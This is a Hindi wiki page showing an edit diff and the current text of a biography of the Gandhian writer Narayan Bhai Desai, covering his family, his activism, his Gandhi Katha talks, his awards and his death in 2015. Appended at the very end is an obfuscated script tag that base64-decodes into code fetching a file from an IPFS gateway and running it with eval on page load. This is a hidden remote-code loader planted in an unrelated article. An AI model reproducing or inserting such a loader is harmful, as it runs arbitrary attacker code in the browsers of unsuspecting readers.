"नारायण भाई देसाई": अवतरणों में अंतर
('{{सूचना बक्सा राजनीतिज्ञ |चित्र=Narayan-Desai.jpg |चित्र का नाम=न...' के साथ नया पन्ना बनाया) |
No edit summary |
||
(5 सदस्यों द्वारा किए गए बीच के 11 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 3: | पंक्ति 3: | ||
|चित्र का नाम=नारायण देसाई | |चित्र का नाम=नारायण देसाई | ||
|पूरा नाम=नारायण भाई देसाई | |पूरा नाम=नारायण भाई देसाई | ||
|अन्य नाम= | |अन्य नाम= | ||
|जन्म= | |जन्म= [[24 दिसम्बर]], [[1924]] | ||
|जन्म भूमि=सरस गाँव, [[सूरत ज़िला]] | |जन्म भूमि=सरस गाँव, [[सूरत ज़िला]] | ||
|मृत्यु=[[15 मार्च]], [[2015]] | |मृत्यु=[[15 मार्च]], [[2015]] | ||
|मृत्यु स्थान= | |मृत्यु स्थान= वेदछी गांव, [[वलसाड़ ज़िला|वलसाड़]], [[गुजरात]] | ||
|मृत्यु कारण= | |मृत्यु कारण= | ||
| | |अभिभावक=[[महादेव देसाई|महादेव हरिभाई देसाई]] (पिता) | ||
|पति/पत्नी= | |पति/पत्नी= | ||
|संतान=नचिकेता देसाई | |संतान=पुत्री- संघमित्रा, पुत्र- नचिकेता देसाई व अफलातून देसाई | ||
|स्मारक= | |स्मारक= | ||
|क़ब्र= | |क़ब्र= | ||
पंक्ति 23: | पंक्ति 23: | ||
|विद्यालय= | |विद्यालय= | ||
|शिक्षा= | |शिक्षा= | ||
|पुरस्कार-उपाधि= | |पुरस्कार-उपाधि=यूनेस्को शांति पुरस्कार, केंद्रीय साहित्य अकादमी, जमनालाल बजाज, मूर्तिदेवी, उमाशंकर स्नेहरश्मि, रणजीतराम सुवर्ण चंद्रक, नर्मद चंद्रक व दर्शक अवॉर्ड | ||
|विशेष योगदान=बापू की गोद में नारायण देसाई इस डायरी में उन्होंने गांधीजी के नित्य प्रति के क्रिया कलापों का अधिकारिक वर्णन प्रस्तुत किया है। | |विशेष योगदान=बापू की गोद में नारायण देसाई इस डायरी में उन्होंने गांधीजी के नित्य प्रति के क्रिया कलापों का अधिकारिक वर्णन प्रस्तुत किया है। | ||
|संबंधित लेख= | |संबंधित लेख=[[नारायण भाई देसाई के प्रेरक प्रसंग]] | ||
|शीर्षक 1=रचनाएँ | |शीर्षक 1=रचनाएँ | ||
|पाठ 1='बापू की गोद में' | |पाठ 1='बापू की गोद में' | ||
|शीर्षक 2= | |शीर्षक 2= | ||
|पाठ 2= | |पाठ 2= | ||
|अन्य जानकारी=[https://www.youtube.com/watch?feature=player_embedded&v=YgMyy70oevM यू ट्यूब पर बापूकथा] | |अन्य जानकारी= | ||
|बाहरी कड़ियाँ=[https://www.youtube.com/watch?feature=player_embedded&v=YgMyy70oevM यू ट्यूब पर बापूकथा] | |||
|अद्यतन= | |अद्यतन= | ||
}} | }}'''नारायण भाई देसाई''' ([[अंग्रेज़ी]]: ''Narayan Bhai Desai'', जन्म- [[24 दिसम्बर]], [[1924]]; मृत्यु- [[15 मार्च]], [[2015]]) भारतीय गांधीवादी और लेखक थे। वह [[महात्मा गाँधी]] के विश्वसनीय सचिव [[महादेव हरिभाई देसाई]] के पुत्र थे। महात्मा गाँधी की वाणी, लेखनी और क्रिया-कलाप को 25 वर्षों तक महादेव देसाई ने अपनी डायरी में दर्ज किया था। गाँधीजी की [[आत्मकथा]] का [[अंग्रेज़ी]] अनुवाद भी उनके द्वारा किया गया था। यह उम्मीद की जाती थी कि महादेव देसाई गाँधीजी की एक वृहत जीवनी भी लिखेंगे, जो जेल में हुई मौत के कारण वे न लिख सके। इस पृष्ठभूमि में महादेव देसाई के बेटे नारायण भाई देसाई ने ‘मारू जीवन आज मारी वाणी‘ शीर्षक से चार वृहत खण्डों में गाँधीजी की [[जीवनी]] लिखी। इस ग्रन्थ के लिए उन्हें [[2004]] में '[[मूर्ति देवी पुरस्कार]]' से सम्मानित किया गया था। | ||
'''नारायण भाई देसाई''' ([[अंग्रेज़ी]]: ''Narayan Bhai Desai'', जन्म- ; मृत्यु- [[15 मार्च]], [[2015]]) | |||
==जीवन परिचय== | ==जीवन परिचय== | ||
नारायण भाई देसाई का जन्म [[सूरत ज़िला|सूरत ज़िले]] के सरस गाँव में हुआ था। इनके पिता [[महादेव हरिभाई देसाई]] [[महात्मा गाँधी]] के सचिव थे। सर्वोदय जमात को प्रेरित व समृद्ध करने वाले नारायण भाई गुजरात के एक छोटे से गांव में महात्मा गांधी के सचिव महादेव देसाई व दुर्गा बेन के घर जन्म लेकर अब 90 वर्ष के हो गये थे। | नारायण भाई देसाई का जन्म [[सूरत ज़िला|सूरत ज़िले]] के सरस गाँव में हुआ था। इनके पिता [[महादेव हरिभाई देसाई]] [[महात्मा गाँधी]] के सचिव थे। सर्वोदय जमात को प्रेरित व समृद्ध करने वाले नारायण भाई गुजरात के एक छोटे से गांव में महात्मा गांधी के सचिव महादेव देसाई व दुर्गा बेन के घर जन्म लेकर अब 90 वर्ष के हो गये थे। अपने जीवन के अहम 20 साल उन्होंने महात्मा गांधी के साथ बिताए। वे सर्वोदय विचार तथा अणुविरोधी आंदोलन के सक्रिय कार्यकर्ता रहे। भूदान, ग्रामदान, दंगा शमन के लिए बनी शांति सेना, लोक समिति, सर्वसेवा संघ तथा संपूर्ण क्रांति आंदोलन के वे पहली कतार के अग्रिम कार्यकर्ता रहे। उनका ज्यादा टाइम सर्व सेवा संघ में गुजरा। | ||
अपने जीवन के अहम 20 साल उन्होंने महात्मा गांधी के साथ | |||
==विलक्षण प्रतिभा== | ==विलक्षण प्रतिभा== | ||
जिस उम्र में बच्चों को स्कूल व टीचर्स का आकलन करने का ज्ञान नहीं होता | जिस उम्र में बच्चों को स्कूल व टीचर्स का आकलन करने का ज्ञान नहीं होता है। उस उम्र में यदि बच्चा सबसे अच्छे स्कूल को पहले ही दिन खारिज कर दे तो यह उसके विलक्षण प्रतिभा का ही परिचय होगा। ऐसे ही विलक्षण प्रतिभा के धनी लोगों में नारायण भाई देसाई का नाम शामिल है। प्रसंग ये है उन्होंने पहले ही दिन वर्धा के एक फेमस स्कूल को फेल करार कर दिया था। अपने अनुकूल न होने पर उन्होंने दूसरे दिन स्कूल न जाने का निश्चय कर लिया। जिसकी जानकारी उन्होंने अपने गार्जियन महात्मा गांधी को पत्र के माध्यम से दिया। इतनी छोटी सी उम्र में स्कूल की पहचान कर लेना सबके बस में नहीं है। गांधी जी से इस पर उनको शाबासी मिली थी। | ||
प्रसंग ये है उन्होंने पहले ही दिन वर्धा के एक फेमस स्कूल को फेल करार कर दिया | |||
==नेतृत्व== | ==नेतृत्व== | ||
भूदान आंदोलन, संपूर्ण क्रांति आंदोलन जैसे कई राष्ट्रीय आंदोलनों में नारायण देसाई की सक्रिय भूमिका रही। दंगों के समय उन्होंने शांति सेना का नेतृत्व भी किया था। | नारायण देसाई स्वातंत्र्योत्तर [[भारत]] में [[विनोबा भावे]] और [[जयप्रकाश नारायण]] के निकट सहयोगी रहे। [[गुजराती भाषा]] के साहित्यकार के रूप में भी वे जाने जाते हैं। उनके पिता और 25 वर्षों तक गांधीजी के सचिव [[महादेव देसाई]] की जीवनी 'अग्निकुंड में खिला गुलाब' के लिए उन्हें केन्द्रीय साहित्य अकादमी तथा गांधीजी की गुजराती में जीवनी - 'मारु जीवन एज मारी वाणी' के लिए [[भारतीय ज्ञानपीठ|ज्ञानपीठ]] का मूर्तिदेवी पुरस्कार मिला था। [[भूदान आंदोलन]], संपूर्ण क्रांति आंदोलन जैसे कई राष्ट्रीय आंदोलनों में नारायण देसाई की सक्रिय भूमिका रही। दंगों के समय उन्होंने शांति सेना का नेतृत्व भी किया था। बिहार आंदोलन में सक्रियता के कारण तत्कालीन राज्य सरकार ने उन्हें बिहार निकाला कर दिया था। उन्होंने युद्ध विरोधी अंतर्राष्ट्रीय आंदोलन में अग्रणी भूमिका निभाई थी और कार्यकर्ता प्रशिक्षण के लिए संपूर्ण क्रांति आंदोलन विद्यालय की स्थापना में सहयोग दिया था। उनके परिवार में पुत्री संघमित्रा, पुत्र नचिकेता देसाई व अफलातून देसाई हैं। नारायणभाई की पत्नी का देहावसान 26 वर्ष पहले ही हो गया था। नारायणभाई को साहित्य अकादमी पुरस्कार, मूर्तिदेवी पुरस्कार सहित कई साहित्यिक पुरस्कार तथा यूनेस्को से शांति पुरस्कार मिले थे। नारायणभाई को 75 से अधिक वर्षो के सामाजिक जीवन में महात्मा गांधी, विनोबा भावे और लोकनायक जयप्रकाश नारायण का निकट साहचर्य मिला था। कहना न होगा कि वह गांधी की गोद में पले-बढ़े थे। वह गुजरात विद्यापीठ के कुलाधिपति भी रहे। | ||
उन नारायण भाई देसाई ने हिंदी, गुजराती तथा इंग्लिश में दर्जनों पुस्तकें लिखी है। | |||
==रचनाएँ== | |||
बिहार आंदोलन में सक्रियता के कारण तत्कालीन राज्य सरकार ने उन्हें बिहार निकाला कर दिया था। उन्होंने युद्ध विरोधी अंतर्राष्ट्रीय आंदोलन में अग्रणी भूमिका निभाई थी और कार्यकर्ता प्रशिक्षण के लिए संपूर्ण क्रांति आंदोलन विद्यालय की स्थापना में सहयोग दिया था। | [[2002]] के गुजरात दंगे के दौरान कुछ न कर पाने की व्यथा के कारण उनके भीतर से गांधी कथा निकली और देश-विदेश में गांधी कथा की 108 कड़ियां उन्होंने पूरी की। वर्ष 2002 के गुजरात जनसंहार के प्रायश्चित स्वरूप नारायणभाई ने लोगों को सर्वधर्म समभाव का संदेश देने के लिए गांधीकथा-वाचन शुरू किया था। गांधी के जीवन के महत्वपूर्ण प्रसंगों का वर्णन वह जिस अंदाज़में किया करते थे, वह अद्वितीय था। उन नारायण भाई देसाई ने [[हिंदी]], [[गुजराती]] तथा [[अंग्रेज़ी]] में दर्जनों पुस्तकें लिखी है। उन्होंने गुजराती, हिंदी और अंग्रेज़ी में साहित्य लेखन किया और आपातकाल के दौरान 'तानाशाही' के खिलाफ कई पत्रिकाओं के संपादन के लिए भी उन्हें याद किया जाएगा। नारायणभाई ने कभी किसी स्कूल या कॉलेज का मुंह नहीं देखा, लेकिन वह [[अंग्रेज़ी]], [[बंगला भाषा|बंगला]], [[उड़िया भाषा|उड़िया]], [[मराठी]], [[गुजराती]], [[संस्कृत]] और [[हिंदी]] भाषाओं पर समान अधिकार रखते थे। इन सभी भाषाओं में वह धाराप्रवाह लिखते और बोलते थे। | ||
उनके परिवार में पुत्री संघमित्रा, पुत्र नचिकेता देसाई व अफलातून देसाई हैं। नारायणभाई की पत्नी का देहावसान 26 वर्ष पहले ही हो गया था। | |||
नारायणभाई को साहित्य अकादमी पुरस्कार, मूर्तिदेवी पुरस्कार सहित कई साहित्यिक पुरस्कार तथा यूनेस्को से शांति पुरस्कार मिले थे। | |||
नारायणभाई को 75 से अधिक वर्षो के सामाजिक जीवन में महात्मा गांधी, विनोबा भावे और लोकनायक जयप्रकाश नारायण का निकट साहचर्य मिला था। कहना न होगा कि वह गांधी की गोद में पले-बढ़े थे। वह गुजरात विद्यापीठ के कुलाधिपति भी रहे। | |||
उन नारायण भाई देसाई ने हिंदी, गुजराती तथा इंग्लिश में दर्जनों पुस्तकें लिखी | |||
== | |||
2002 के गुजरात दंगे के दौरान कुछ न कर पाने की व्यथा के कारण उनके भीतर से गांधी कथा निकली और देश-विदेश में गांधी कथा की 108 कड़ियां उन्होंने पूरी की। | |||
वर्ष 2002 के गुजरात जनसंहार के प्रायश्चित स्वरूप नारायणभाई ने लोगों को सर्वधर्म समभाव का संदेश देने के लिए गांधीकथा-वाचन शुरू किया था। | |||
गांधी के जीवन के महत्वपूर्ण प्रसंगों का वर्णन वह जिस | |||
==योगदान== | ==योगदान== | ||
वो गुजरात विद्यापीठ के चांसलर भी रहे। [[भारत]] व भारत से बाहर 89 गांधी कथा सुना कर उन्होने जन जीवन को गांधी के प्रेरक जीवन से जोड़ने का अद्भुत काम किया। कथा निशुल्क होती थी दान में प्राप्त पैसे का उपयोग सर्वोदय साहित्य के प्रचार प्रसार में होता था | |||
==पुरस्कार== | |||
उन्हें यूनेस्को शांति पुरस्कार, केंद्रीय साहित्य अकादमी, जमनालाल बजाज, मूर्तिदेवी, उमाशंकर स्नेहरश्मि, रणजीतराम सुवर्ण चंद्रक, नर्मद चंद्रक व दर्शक अवॉर्ड सहित कई अवार्ड से नवाजा गया। | |||
==निधन== | ==निधन== | ||
नारायण भाई देसाई का [[15 मार्च]], [[2015]] को [[गुजरात]] के [[वलसाड़ ज़िला|वलसाड़ ज़िले]] के वेदछी नामक [[गांव]] में निधन हो गया। [[प्रधानमंत्री]] [[नरेंद्र मोदी]] ने ट्विटर पर जारी शोक संदेश में कहा, "नारायण भाई देसाई एक ऐसे विद्वान् के रूप में जाने जाएंगे, जिन्होंने गांधी को आम जनता के क़रीब लाया। उनके निधन की ख़बर सुनकर गहरा दु:ख हुआ।" | |||
[[प्रधानमंत्री]] [[नरेंद्र मोदी]] ने ट्विटर पर जारी शोक संदेश में कहा, "नारायण भाई देसाई एक ऐसे | |||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==बाहरी कड़ियाँ== | ==बाहरी कड़ियाँ== | ||
पंक्ति 73: | पंक्ति 58: | ||
*[https://bapukigodmein.wordpress.com/ बापू की गोद में नारायण देसाई] | *[https://bapukigodmein.wordpress.com/ बापू की गोद में नारायण देसाई] | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
[[Category:स्वतन्त्रता सेनानी]][[Category:चरित कोश]] [[Category: | {{मूर्ति देवी पुरस्कार}}{{स्वतन्त्रता सेनानी}} | ||
[[Category: | [[Category:स्वतन्त्रता सेनानी]][[Category:मूर्ति देवी पुरस्कार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:साहित्य कोश]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:महात्मा गाँधी]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
07:37, 23 फ़रवरी 2021 के समय का अवतरण
नारायण भाई देसाई
| |
पूरा नाम | नारायण भाई देसाई |
जन्म | 24 दिसम्बर, 1924 |
जन्म भूमि | सरस गाँव, सूरत ज़िला |
मृत्यु | 15 मार्च, 2015 |
मृत्यु स्थान | वेदछी गांव, वलसाड़, गुजरात |
अभिभावक | महादेव हरिभाई देसाई (पिता) |
संतान | पुत्री- संघमित्रा, पुत्र- नचिकेता देसाई व अफलातून देसाई |
नागरिकता | भारतीय |
भाषा | गुजराती, संस्कृत, बांग्ला भाषा, हिन्दी, मराठी और अंग्रेज़ी भाषा |
पुरस्कार-उपाधि | यूनेस्को शांति पुरस्कार, केंद्रीय साहित्य अकादमी, जमनालाल बजाज, मूर्तिदेवी, उमाशंकर स्नेहरश्मि, रणजीतराम सुवर्ण चंद्रक, नर्मद चंद्रक व दर्शक अवॉर्ड |
विशेष योगदान | बापू की गोद में नारायण देसाई इस डायरी में उन्होंने गांधीजी के नित्य प्रति के क्रिया कलापों का अधिकारिक वर्णन प्रस्तुत किया है। |
संबंधित लेख | नारायण भाई देसाई के प्रेरक प्रसंग |
रचनाएँ | 'बापू की गोद में' |
बाहरी कड़ियाँ | यू ट्यूब पर बापूकथा |
नारायण भाई देसाई (अंग्रेज़ी: Narayan Bhai Desai, जन्म- 24 दिसम्बर, 1924; मृत्यु- 15 मार्च, 2015) भारतीय गांधीवादी और लेखक थे। वह महात्मा गाँधी के विश्वसनीय सचिव महादेव हरिभाई देसाई के पुत्र थे। महात्मा गाँधी की वाणी, लेखनी और क्रिया-कलाप को 25 वर्षों तक महादेव देसाई ने अपनी डायरी में दर्ज किया था। गाँधीजी की आत्मकथा का अंग्रेज़ी अनुवाद भी उनके द्वारा किया गया था। यह उम्मीद की जाती थी कि महादेव देसाई गाँधीजी की एक वृहत जीवनी भी लिखेंगे, जो जेल में हुई मौत के कारण वे न लिख सके। इस पृष्ठभूमि में महादेव देसाई के बेटे नारायण भाई देसाई ने ‘मारू जीवन आज मारी वाणी‘ शीर्षक से चार वृहत खण्डों में गाँधीजी की जीवनी लिखी। इस ग्रन्थ के लिए उन्हें 2004 में 'मूर्ति देवी पुरस्कार' से सम्मानित किया गया था।
जीवन परिचय
नारायण भाई देसाई का जन्म सूरत ज़िले के सरस गाँव में हुआ था। इनके पिता महादेव हरिभाई देसाई महात्मा गाँधी के सचिव थे। सर्वोदय जमात को प्रेरित व समृद्ध करने वाले नारायण भाई गुजरात के एक छोटे से गांव में महात्मा गांधी के सचिव महादेव देसाई व दुर्गा बेन के घर जन्म लेकर अब 90 वर्ष के हो गये थे। अपने जीवन के अहम 20 साल उन्होंने महात्मा गांधी के साथ बिताए। वे सर्वोदय विचार तथा अणुविरोधी आंदोलन के सक्रिय कार्यकर्ता रहे। भूदान, ग्रामदान, दंगा शमन के लिए बनी शांति सेना, लोक समिति, सर्वसेवा संघ तथा संपूर्ण क्रांति आंदोलन के वे पहली कतार के अग्रिम कार्यकर्ता रहे। उनका ज्यादा टाइम सर्व सेवा संघ में गुजरा।
विलक्षण प्रतिभा
जिस उम्र में बच्चों को स्कूल व टीचर्स का आकलन करने का ज्ञान नहीं होता है। उस उम्र में यदि बच्चा सबसे अच्छे स्कूल को पहले ही दिन खारिज कर दे तो यह उसके विलक्षण प्रतिभा का ही परिचय होगा। ऐसे ही विलक्षण प्रतिभा के धनी लोगों में नारायण भाई देसाई का नाम शामिल है। प्रसंग ये है उन्होंने पहले ही दिन वर्धा के एक फेमस स्कूल को फेल करार कर दिया था। अपने अनुकूल न होने पर उन्होंने दूसरे दिन स्कूल न जाने का निश्चय कर लिया। जिसकी जानकारी उन्होंने अपने गार्जियन महात्मा गांधी को पत्र के माध्यम से दिया। इतनी छोटी सी उम्र में स्कूल की पहचान कर लेना सबके बस में नहीं है। गांधी जी से इस पर उनको शाबासी मिली थी।
नेतृत्व
नारायण देसाई स्वातंत्र्योत्तर भारत में विनोबा भावे और जयप्रकाश नारायण के निकट सहयोगी रहे। गुजराती भाषा के साहित्यकार के रूप में भी वे जाने जाते हैं। उनके पिता और 25 वर्षों तक गांधीजी के सचिव महादेव देसाई की जीवनी 'अग्निकुंड में खिला गुलाब' के लिए उन्हें केन्द्रीय साहित्य अकादमी तथा गांधीजी की गुजराती में जीवनी - 'मारु जीवन एज मारी वाणी' के लिए ज्ञानपीठ का मूर्तिदेवी पुरस्कार मिला था। भूदान आंदोलन, संपूर्ण क्रांति आंदोलन जैसे कई राष्ट्रीय आंदोलनों में नारायण देसाई की सक्रिय भूमिका रही। दंगों के समय उन्होंने शांति सेना का नेतृत्व भी किया था। बिहार आंदोलन में सक्रियता के कारण तत्कालीन राज्य सरकार ने उन्हें बिहार निकाला कर दिया था। उन्होंने युद्ध विरोधी अंतर्राष्ट्रीय आंदोलन में अग्रणी भूमिका निभाई थी और कार्यकर्ता प्रशिक्षण के लिए संपूर्ण क्रांति आंदोलन विद्यालय की स्थापना में सहयोग दिया था। उनके परिवार में पुत्री संघमित्रा, पुत्र नचिकेता देसाई व अफलातून देसाई हैं। नारायणभाई की पत्नी का देहावसान 26 वर्ष पहले ही हो गया था। नारायणभाई को साहित्य अकादमी पुरस्कार, मूर्तिदेवी पुरस्कार सहित कई साहित्यिक पुरस्कार तथा यूनेस्को से शांति पुरस्कार मिले थे। नारायणभाई को 75 से अधिक वर्षो के सामाजिक जीवन में महात्मा गांधी, विनोबा भावे और लोकनायक जयप्रकाश नारायण का निकट साहचर्य मिला था। कहना न होगा कि वह गांधी की गोद में पले-बढ़े थे। वह गुजरात विद्यापीठ के कुलाधिपति भी रहे। उन नारायण भाई देसाई ने हिंदी, गुजराती तथा इंग्लिश में दर्जनों पुस्तकें लिखी है।
रचनाएँ
2002 के गुजरात दंगे के दौरान कुछ न कर पाने की व्यथा के कारण उनके भीतर से गांधी कथा निकली और देश-विदेश में गांधी कथा की 108 कड़ियां उन्होंने पूरी की। वर्ष 2002 के गुजरात जनसंहार के प्रायश्चित स्वरूप नारायणभाई ने लोगों को सर्वधर्म समभाव का संदेश देने के लिए गांधीकथा-वाचन शुरू किया था। गांधी के जीवन के महत्वपूर्ण प्रसंगों का वर्णन वह जिस अंदाज़में किया करते थे, वह अद्वितीय था। उन नारायण भाई देसाई ने हिंदी, गुजराती तथा अंग्रेज़ी में दर्जनों पुस्तकें लिखी है। उन्होंने गुजराती, हिंदी और अंग्रेज़ी में साहित्य लेखन किया और आपातकाल के दौरान 'तानाशाही' के खिलाफ कई पत्रिकाओं के संपादन के लिए भी उन्हें याद किया जाएगा। नारायणभाई ने कभी किसी स्कूल या कॉलेज का मुंह नहीं देखा, लेकिन वह अंग्रेज़ी, बंगला, उड़िया, मराठी, गुजराती, संस्कृत और हिंदी भाषाओं पर समान अधिकार रखते थे। इन सभी भाषाओं में वह धाराप्रवाह लिखते और बोलते थे।
योगदान
वो गुजरात विद्यापीठ के चांसलर भी रहे। भारत व भारत से बाहर 89 गांधी कथा सुना कर उन्होने जन जीवन को गांधी के प्रेरक जीवन से जोड़ने का अद्भुत काम किया। कथा निशुल्क होती थी दान में प्राप्त पैसे का उपयोग सर्वोदय साहित्य के प्रचार प्रसार में होता था
पुरस्कार
उन्हें यूनेस्को शांति पुरस्कार, केंद्रीय साहित्य अकादमी, जमनालाल बजाज, मूर्तिदेवी, उमाशंकर स्नेहरश्मि, रणजीतराम सुवर्ण चंद्रक, नर्मद चंद्रक व दर्शक अवॉर्ड सहित कई अवार्ड से नवाजा गया।
निधन
नारायण भाई देसाई का 15 मार्च, 2015 को गुजरात के वलसाड़ ज़िले के वेदछी नामक गांव में निधन हो गया। प्रधानमंत्री नरेंद्र मोदी ने ट्विटर पर जारी शोक संदेश में कहा, "नारायण भाई देसाई एक ऐसे विद्वान् के रूप में जाने जाएंगे, जिन्होंने गांधी को आम जनता के क़रीब लाया। उनके निधन की ख़बर सुनकर गहरा दु:ख हुआ।"
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>